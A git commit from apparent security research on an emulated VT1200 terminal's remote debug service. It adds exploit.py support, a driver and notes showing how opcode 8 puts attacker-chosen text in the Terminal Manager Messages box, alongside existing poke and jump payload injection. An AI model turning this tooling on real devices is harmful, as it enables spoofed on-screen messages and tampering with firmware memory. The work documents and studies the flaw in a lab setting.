dwt: rdebug opcode 8 puts attacker text in the TM Messages box

This commit is contained in:
SDD committed 2026-10-18 11:03:01 +03:00
1 parent 619aff0a93
commit 0e4075958b
16 files changed
+442

No files matched your search

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.4 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 18 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.6 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 19 KiB

+14
View File
@@ -0,0 +1,14 @@
[+] challenge fa 9c 30 b0 00 00 2f e1 02 64 a8 c0 fa 94 30 b1
[+] reply 82 b7 8f ab e1 35 b5 55 b3 73 7d 30 92 96 86 c6
opcode 7 -> flag=0x00 payload=44 6f 6e 65 0a 00 (b'Done\n\x00')
[.] snapshot trigger msg2_before x1 every 0
[>] opcode 8 body 00 00 00 00 00 00 00 15 41 54 54 41 43 4b 45 52 20 4d 45 53 53 41 47 45 20 4f 4e 45 00
[.] snapshot trigger msg2_send1 x4 every 2
[.] message 1 level=0 b'ATTACKER MESSAGE ONE': Done
[>] opcode 8 body 00 00 00 00 00 00 00 10 52 44 45 42 55 47 20 54 45 58 54 20 54 57 4f 00
[.] snapshot trigger msg2_send2 x4 every 2
[.] message 2 level=0 b'RDEBUG TEXT TWO': Done
[>] opcode 8 body 00 00 00 03 00 00 00 15 4c 45 56 45 4c 20 54 48 52 45 45 20 54 45 52 54 49 41 52 59 00
[.] snapshot trigger msg2_send3 x4 every 2
[.] message 3 level=3 b'LEVEL THREE TERTIARY': Done
[.] snapshot trigger msg2_persist x4 every 30
Binary file not shown.

After

Width:  |  Height:  |  Size: 1.2 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 18 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.4 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 18 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 925 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 18 KiB

+40
View File
@@ -31,6 +31,9 @@ Examples:
--poke-file 0x01800000 --file harness/hello-world/payload.bin \
--jump 0x01800000 --jump-wait 2
# opcode 8 -- put attacker-chosen text on the terminal's screen
dwt/exploit.py --host 192.168.99.2 --message "hello from rdebug"
# build the frames without opening a socket
dwt/exploit.py --opcode 7 --dry-run
"""
@@ -261,6 +264,30 @@ class RDebug:
print(f"[!] poke reply flag={flag:#x}: {payload!r}", file=sys.stderr)
self.expect_done(payload if flag == 0 else None)
def display_message(self, level: int, text: bytes | str,
terminate: bool = True) -> bytes:
"""Opcode 8: ask the firmware to display *text* (len 1..1024).
Body layout: ``u32 be level, u32 be len, len raw bytes``. The handler
allocates len+2 and copies len bytes, but it does **not** write a
terminator (measured: a message sent without one is followed on screen
by stale heap bytes). So ``terminate`` (the default) appends one NUL,
and the NUL counts toward ``len``. Returns the reply payload (normally
``b"Done\\n\\x00"``); raises ProtocolError on an error reply.
"""
if isinstance(text, str):
text = text.encode("latin-1")
if terminate and not text.endswith(b"\x00"):
text += b"\x00"
if not 1 <= len(text) <= MAX_XFER:
raise ValueError(f"message length must be 1..{MAX_XFER} bytes")
flag, payload = self.command(8, be32(level) + be32(len(text)) + text)
if flag != 0:
raise ProtocolError(f"display_message: expected Done flag 0, "
f"got {flag:#x}: {payload!r}")
self.expect_done(payload)
return payload
def jump(self, bit_addr: int, args: list[int], wait: bool = True,
wait_timeout: float | None = None) -> tuple[int, bytes] | None:
body = be32(bit_addr) + be32(len(args))
@@ -302,6 +329,11 @@ def build_frames(args) -> list[bytes]:
frames = []
if args.opcode is not None:
frames.append(be32(args.opcode))
if args.message is not None:
text = args.message.encode("latin-1")
if not text.endswith(b"\x00"):
text += b"\x00" # the handler does not add a terminator
frames.append(be32(8) + be32(args.message_level) + be32(len(text)) + text)
if args.peek is not None:
frames.append(be32(2) + be32(args.peek) + be32(args.len))
if args.poke is not None:
@@ -344,8 +376,13 @@ def main(argv: list[str]) -> int:
g.add_argument("--poke-file", type=parse_int,
help="poke a whole file: bit address")
g.add_argument("--jump", type=parse_int, help="jump: call bit address")
g.add_argument("--message", metavar="TEXT",
help="opcode 8: display attacker-chosen text on the "
"terminal screen")
ap.add_argument("--len", type=int, default=16, help="peek length (max 1024)")
ap.add_argument("--message-level", type=parse_int, default=0,
help="opcode 8 first word (default 0; try 0..3)")
ap.add_argument("--hex", help="poke payload as hex, e.g. DEADBEEF")
ap.add_argument("--file", help="poke-file payload path")
ap.add_argument("--arg", type=parse_int, action="append", default=[],
@@ -410,6 +447,9 @@ def main(argv: list[str]) -> int:
off += len(chunk)
print(f"poke-file {args.file}: {len(data)} bytes at "
f"{args.poke_file:#010x}: ok")
if args.message is not None:
rd.display_message(args.message_level, args.message)
print(f"message level={args.message_level} {args.message!r}: ok")
if args.jump is not None:
result = rd.jump(args.jump, args.arg, wait=args.jump_wait > 0,
wait_timeout=args.jump_wait or None)
+33
View File
@@ -310,3 +310,36 @@ Details, addresses, frames and limits: `dwt/notes/VISUAL_INJECTION.md`,
`dwt/evidence/visual/`. ROM md5 unchanged; no driver edits; only
`VT1200_SKIP_LEVEL1=1` (documented divergence) and a private nvram.
## 2026-10-18 11:01 EEST — opcode 8 writes the TM Messages box (no payload)
Facts, all measured over rdebug on the live OS (`VT1200_SKIP_LEVEL1=1`); details
and frames in `dwt/notes/DISPLAY_MESSAGE.md`.
* **Opcode 8 is `rdebug_display_message` and it lands in the Terminal Manager
Messages box**, not a popup. Body: `u32be 8 | u32be level | u32be len | len
bytes`; reply `Done\n`. `len` is 1..1024.
* **The handler does not NUL-terminate.** It `malloc(len+2)` and copies `len`
bytes; a message sent without a NUL is followed by stale heap bytes on screen
(`…LEVEL ZEROUUUUUU@`). Send `text + NUL` and count the NUL in `len`; max clean
text is 1023 bytes.
* **Level is a class filter, not a destination.** The append routine is
`0x07E6126A` (bit `0x3F309350`), the same one `accept_debug_conn` calls.
Per-class enable bits at bit `0xAECE2/3/4` (byte `0xAECE0` = `0x05` on this
boot): level 0 enabled, level 1/2 disabled, level 3 unchecked. Observed:
levels 0 and 3 render; 1 and 2 are silently dropped.
* The pane is a **5-line viewport** (`count-5` at `3F30A940`/`3F30AA40`); older
lines scroll out (eight sent → 04..08 visible). Lines persist across
repaints (frames 944 and 1938 byte-identical). Not modal; opcode 7 still
answers after the messages.
* No `dwt/visual/msg.asm` was built: the firmware already provides the
primitive. Same connection can poke/jump a payload, then opcode 8.
* `dwt/exploit.py` gained only additive `RDebug.display_message()` /
`--message` / `--message-level`; `dwt/visual/msg_demo.py` and
`dwt/visual/msg_snap.lua` are new host tooling.
* Harness note: MAME's taptun name is fixed (`tap-mess-<uid>-0`), so a second
MAME needs its own net namespace; this run used one (`vtmsg`) while another
MAME held the default tap.
---
+160
View File
@@ -0,0 +1,160 @@
# Attacker-chosen text in the Terminal Manager Messages box (rdebug opcode 8)
Status: **DONE — opcode 8 (`rdebug_display_message`) puts attacker-chosen text
in the Terminal Manager's Messages box.** No payload, no code injection and no
debugger breakpoint are involved. The visible result is the same pane the OS
uses for `System defaults loaded.`, `TCP/IP is now up.` and
`Debug connection from IP host …`.
ROM untouched (`md5 b46a3e442ccb86134d2356bd70d22fd2`). No driver edits.
`VT1200_SKIP_LEVEL1=1` (documented divergence), private `-nvram_directory` and
BOOTP/TFTP as in the other OS-path runs.
## 1. The wire request
```
request = u32be 8 | u32be level | u32be len | len raw bytes
```
`len` counts the raw bytes that follow and must be 1..1024. **The NUL
terminator is the sender's job.** The handler `malloc(len + 2)` and copies
`len` bytes, but it never writes a terminator. A message sent without one is
followed on screen by stale heap bytes (first experiment: the 29-byte
`RDEBUG MSG ONE - LEVEL ZERO` rendered as `RDEBUG MSG ONE - LEVEL ZEROUUUUUU@`).
Sending `text + NUL` with `len = len(text)+1` renders cleanly. So the largest
clean text is 1023 bytes, not 1024.
Exact requests used (dry run, `dwt/exploit.py --dry-run`):
```
# level 0, "ATTACKER MESSAGE ONE" + NUL (len 0x15)
00 00 00 08 00 00 00 00 00 00 00 15
41 54 54 41 43 4b 45 52 20 4d 45 53 53 41 47 45 20 4f 4e 45 00
# level 3, "LEVEL THREE TERTIARY" + NUL (len 0x15)
00 00 00 08 00 00 00 03 00 00 00 15
4c 45 56 45 4c 20 54 48 52 45 45 20 54 45 52 54 49 41 52 59 00
```
The reply is the usual `"Done\n"` frame. `dwt/exploit.py` now has
`RDebug.display_message(level, text, terminate=True)` and a `--message TEXT`
option; `terminate=True` appends the NUL (and therefore counts it in `len`).
## 2. What `level` does
`level` is a syslog-style message class, not an offset or a length. The append
routine is `0x07E6126A` (bit `0x3F309350`) — the same routine `accept_debug_conn`
calls for `Debug connection from IP host %s`. On entry it checks per-class
enable bits in RAM:
| level | check (bit address) | on this boot | visible in Messages |
|---|---|---|---|
| 0 | `@0xAECE2` (byte `0xAECE0` bit 2) | **1** | **yes** |
| 1 | `@0xAECE3` (bit 3) | 0 | no |
| 2 | `@0xAECE4` (bit 4) | 0 | no |
| 3 | no check — always accepted | — | **yes** |
Measured byte at `0xAECE0` on the live OS (`opcode 2` peek): **`05`** =
bit 2 set, bits 3 and 4 clear. That matches the observed result exactly:
levels 0 and 3 render; 1 and 2 are silently dropped. Levels 0 and 3 write to
the same Messages list — the level chooses *whether* the line is admitted, not
*where* it goes.
Disassembly of the filter: `3F3093B0` (bit `0xAECE2` / `jreq` exit when the
class is 0), `3F309430` (`0xAECE3`), `3F3094C0` (`0xAECE4`, `subk 2` /
`jreq` exit). Level 3 falls through all of them.
## 3. Where it appears, and what the pane does
* **The Terminal Manager Messages box**, below the `Messages` heading and above
the Ethernet/IP/LAT block. Nothing else on the screen changes: no dialog, no
popup, no status line.
* It is **not modal**. The TM keeps running, the rdebug session stays usable
(`opcode 7` answers after the messages) and the message is just another line
in the list.
* The pane is a **5-line viewport**. The append routine computes the top line
as `count - 5` (`3F30A940` / `3F30AA40`), which is why sending eight
`SCROLL LINE 01…08` messages leaves `SCROLL LINE 04…08` visible. Older lines
go out of view (the OS's own `System defaults loaded.` / `Using local fonts.`
scroll off the same way); the scrollbar is present. A hard cap on retained
lines was not established; the only verified per-message bound is the
1024-byte `len` check.
* **Persistence:** after the three demo messages the frame at 944 and the frame
at 1938 (≈1000 frames later) are byte-identical
(`4bf8e2299d4ee704848a0b107bf2a31d`). The line persists and survives the OS's
repaints.
* **Repaint timing (honest caveat):** in the controlled run the text appeared in
the next snapshots (5–14 frames after the send). In one earlier run the very
first message was buffered but not drawn for more than 130 frames, until the
next message/connection caused a pane redraw. So the list update itself is
immediate; when it becomes visible depends on the TM redrawing the pane.
## 4. Why no payload is needed
The firmware already ships the primitive. There is no reason to call the
append routine from a `jump` payload: `dwt/visual/msg.asm` was **not** built,
because opcode 8 reaches the same routine with an attacker-controlled string and
returns `Done`. It composes trivially with the visual work — the same rdebug
connection can `poke`/`jump` a payload and then send opcode 8; no hook, no
resident code, no breakpoint.
## 5. Reproduce
The host tap `tap-mess-<uid>-0` is fixed by MAME's taptun provider, so a second
MAME cannot share it. This run used a private network namespace with its own
`tap-mess-1000-0`, bridge and veth to the host, while another MAME held the
default tap. Nothing about the result depends on that choice; on a free tap the
ordinary harness command works.
```sh
# terminal (private NVRAM; 192.168.100.2 comes from harness/serve.py --bootp)
VT1200_SKIP_LEVEL1=1 \
/home/arti/code/k-space/mame0289/vt1200 vt1200 -rompath harness/mame/roms \
-sound none -skip_gameinfo -networkprovider taptun -video none -nothrottle \
-cfg_directory <cfg> -nvram_directory <nvram> \
-debug -debugger none -autoboot_script dwt/visual/msg_snap.lua \
-autoboot_delay 0
# host: one connection, challenge answered by dwt/challenge.respond
python3 dwt/visual/msg_demo.py --host 192.168.100.2 --wait 40 \
--message '0:ATTACKER MESSAGE ONE' \
--message '0:RDEBUG TEXT TWO' \
--message '3:LEVEL THREE TERTIARY'
```
`msg_snap.lua` is read-only with respect to the emulated machine: it reads the
frame counter and takes `screen:snapshot()` PNGs when the host writes a trigger
file (`"<prefix> <count> <stride>"`). No breakpoints, no firmware writes.
## 6. Evidence
| file | what it shows |
|---|---|
| `dwt/evidence/visual/msg_before_frame00824.png` | before: five OS lines, no attacker text |
| `dwt/evidence/visual/msg_after_frame00944.png` | after: `ATTACKER MESSAGE ONE`, `RDEBUG TEXT TWO`, `LEVEL THREE TERTIARY` in the Messages box |
| `dwt/evidence/visual/msg_persist_frame01938.png` | ≈1000 frames later: identical frame (`md5 4bf8e229…`) |
| `dwt/evidence/visual/msg_scroll_frame07979.png` | eight lines sent; viewport shows the last five (`SCROLL LINE 04…08`) |
| `dwt/evidence/visual/msg_levels_frame15265.png` | level 1 and 2 sent just before: invisible; level 3 visible |
| `dwt/evidence/visual/msg_*_crop.png` | the Messages box crops of the above |
| `dwt/evidence/visual/msg_client.log` | challenge, reply and every opcode-8 body on the wire |
The log was captured as `msg2_client.log`; only the PNG prefix was renamed
(`msg2_*` → `msg_*`) when the duplicate run-1 frames were dropped.
Also `dwt/visual/msg_demo.py` (new host driver) and `dwt/visual/msg_snap.lua`
(new snapshot trigger). `dwt/exploit.py` gained only additive support
(`display_message`, `--message`, `--message-level`); existing behaviour is
unchanged.
## 7. Caveats
* The challenge (`dwt_prf`) still has to be answered; `msg_demo.py` uses
`dwt/challenge.respond`, the established offline answer. This note is about
what the service does once a session is open, not about bypassing the
challenge.
* Level 1/2 are filtered on this boot because their enable bits are clear.
Writing `0xAECE0` to set bits 3/4 would presumably enable them, but that is a
runtime config change and was not needed; 0 and 3 are both usable.
* The 5-line viewport is measured and matches the `count-5` code. Scrollback
beyond the viewport and any ring cap were not exercised (no pointer-input run
for the scrollbar).
+139
View File
@@ -0,0 +1,139 @@
#!/usr/bin/env python3
"""Send opcode-8 messages over rdebug and take frame snapshots around them.
This is the host driver for the Messages-box experiments in
``dwt/notes/DISPLAY_MESSAGE.md``. It imports ``dwt/exploit.py`` (which owns
the protocol) and patches the challenge answer with ``dwt/challenge.respond``
exactly like ``dwt/visual/inject.py`` and ``dwt/solve.py`` -- no debugger, no
breakpoints, no RAM patch.
python3 dwt/visual/msg_demo.py --wait 30 \
--message '0:ATTACKER MESSAGE ONE' \
--message '0:RDEBUG TEXT TWO' \
--message '3:LEVEL THREE TERTIARY' \
--before-prefix msg_before --persist-frames 1200 \
--persist-prefix msg_persist
The trigger file is consumed by ``dwt/visual/msg_snap.lua``:
``"<prefix> <count> <stride>"`` snapshots ``count`` frames, ``stride`` apart.
"""
from __future__ import annotations
import argparse
import os
import sys
import time
HERE = os.path.dirname(os.path.abspath(__file__))
DWT = os.path.dirname(HERE)
sys.path.insert(0, DWT)
import challenge # noqa: E402
import exploit # noqa: E402
_orig_answer = exploit.RDebug.answer_challenge
def _answer(self, challenge_bytes: bytes) -> None:
self.challenge_raw = challenge.respond(challenge_bytes)
print(f"[+] challenge {challenge_bytes.hex(' ')}", flush=True)
print(f"[+] reply {self.challenge_raw.hex(' ')}", flush=True)
return _orig_answer(self, challenge_bytes)
exploit.RDebug.answer_challenge = _answer
def trigger(path: str, prefix: str, count: int, stride: int) -> None:
with open(path, "w") as fh:
fh.write(f"{prefix} {count} {stride}")
print(f"[.] snapshot trigger {prefix} x{count} every {stride}", flush=True)
def parse_message(spec: str) -> tuple[int, bytes]:
level_text, sep, text = spec.partition(":")
if not sep:
raise argparse.ArgumentTypeError("message must be LEVEL:TEXT")
return int(level_text, 0), text.encode("latin-1")
def main(argv: list[str]) -> int:
ap = argparse.ArgumentParser(
description=__doc__,
formatter_class=argparse.RawDescriptionHelpFormatter)
ap.add_argument("--host", default="192.168.100.2")
ap.add_argument("--port", type=int, default=771)
ap.add_argument("--timeout", type=float, default=8.0)
ap.add_argument("--wait", type=float, default=0.0,
help="seconds to keep retrying connect (0 = one attempt)")
ap.add_argument("--trigger", default=None,
help="msg_snap.lua trigger file")
ap.add_argument("--message", type=parse_message, action="append",
default=[], metavar="LEVEL:TEXT",
help="send one opcode-8 message (repeatable); a NUL byte "
"is appended because the handler does not terminate")
ap.add_argument("--before-prefix", default=None)
ap.add_argument("--after-prefix", default="msg_send")
ap.add_argument("--after-frames", type=int, default=4)
ap.add_argument("--after-stride", type=int, default=2)
ap.add_argument("--persist-frames", type=int, default=0,
help="wait this many emulated frames after the last send")
ap.add_argument("--persist-prefix", default="msg_persist")
ap.add_argument("--keepalive", action="store_true",
help="send opcode 7 after the messages (proves the "
"session/process still answers)")
a = ap.parse_args(argv[1:])
deadline = time.monotonic() + a.wait
rd = exploit.RDebug(a.host, a.port, a.timeout, False)
while True:
try:
rd.connect()
break
except OSError as exc:
if time.monotonic() >= deadline:
print(f"error: no TCP at {a.host}:{a.port}: {exc}",
file=sys.stderr)
return 2
time.sleep(1.0)
try:
flag, payload = rd.liveness(7)
print(f"opcode 7 -> flag={flag:#04x} payload={payload.hex(' ')} "
f"({payload!r})", flush=True)
if a.before_prefix and a.trigger:
trigger(a.trigger, a.before_prefix, 1, 0)
time.sleep(0.5) # let the frame hook consume it before the send
for i, (level, text) in enumerate(a.message, 1):
# The handler allocates len+2 but never writes the terminator, so
# the sender must include the NUL; otherwise stale heap bytes are
# printed after the text.
wire = text + b"\x00"
body = exploit.be32(level) + exploit.be32(len(wire)) + wire
print(f"[>] opcode 8 body {body.hex(' ')}", flush=True)
if a.trigger:
trigger(a.trigger, f"{a.after_prefix}{i}",
a.after_frames, a.after_stride)
rd.display_message(level, wire)
print(f"[.] message {i} level={level} {text!r}: Done", flush=True)
if a.keepalive:
flag, payload = rd.liveness(7)
print(f"post-message opcode 7 -> flag={flag:#04x} "
f"payload={payload.hex(' ')} ({payload!r})", flush=True)
if a.persist_frames and a.trigger:
# ~60 fps emulated; the clock file is not used here, so this is
# wall time at whatever speed MAME runs. The caller picks a value
# that covers the intended span.
time.sleep(a.persist_frames / 300.0)
trigger(a.trigger, a.persist_prefix, 4, 30)
time.sleep(0.5)
return 0
except (OSError, exploit.ProtocolError, ValueError) as exc:
print(f"error: {exc}", file=sys.stderr)
return 2
finally:
rd.close()
if __name__ == "__main__":
raise SystemExit(main(sys.argv))
+56
View File
@@ -0,0 +1,56 @@
-- msg_snap.lua -- read-only frame side channel + on-demand screen snapshots.
--
-- No breakpoints and no firmware memory writes: this only reads the frame
-- counter and takes MAME screenshots when the host creates the trigger file.
--
-- MSG_TRIGGER=<path> file the host writes; content: "<prefix> <count> <stride>"
-- MSG_DIR=<dir> where PNGs go
--
-- The host writes "<prefix> 1 0" for one immediate frame, or e.g.
-- "<prefix> 8 5" for eight snapshots five frames apart. The file is removed
-- when consumed. Snapshots render through the emulated palette.
local machine = manager.machine
local dir = os.getenv("MSG_DIR") or "."
local trigger = os.getenv("MSG_TRIGGER") or (dir .. "/trigger")
local screen = nil
for _, s in pairs(machine.screens) do screen = s; break end
local frame = 0
local job = nil
local function consume_trigger()
local fh = io.open(trigger, "r")
if not fh then return end
local text = fh:read("*a") or ""
fh:close()
os.remove(trigger)
local prefix, count, stride = text:match("(%S+)%s+(%d+)%s+(%d+)")
if not prefix then
print("msg_snap: bad trigger " .. text)
return
end
job = { prefix = prefix, left = tonumber(count), stride = tonumber(stride), next = frame }
print(string.format("msg_snap: frame %d job %s x%d every %d", frame,
prefix, job.left, job.stride))
end
emu.register_frame_done(function()
frame = frame + 1
consume_trigger()
if job and frame >= job.next and screen then
local out = string.format("%s/%s_frame%05d.png", dir, job.prefix, frame)
local ok, err = pcall(function() return screen:snapshot(out) end)
print(string.format("msg_snap: frame %d %s ok=%s err=%s", frame,
out, tostring(ok), tostring(err)))
job.left = job.left - 1
job.next = frame + job.stride
if job.left <= 0 then job = nil end
end
if frame % 500 == 0 then
local cpu = machine.devices[':maincpu']
print(string.format("msg_snap: frame %d PC=%08X", frame,
cpu.state['PC'].value))
end
end, "vt1200-msg-snap")
if machine.debugger then machine.debugger.execution_state = 'run' end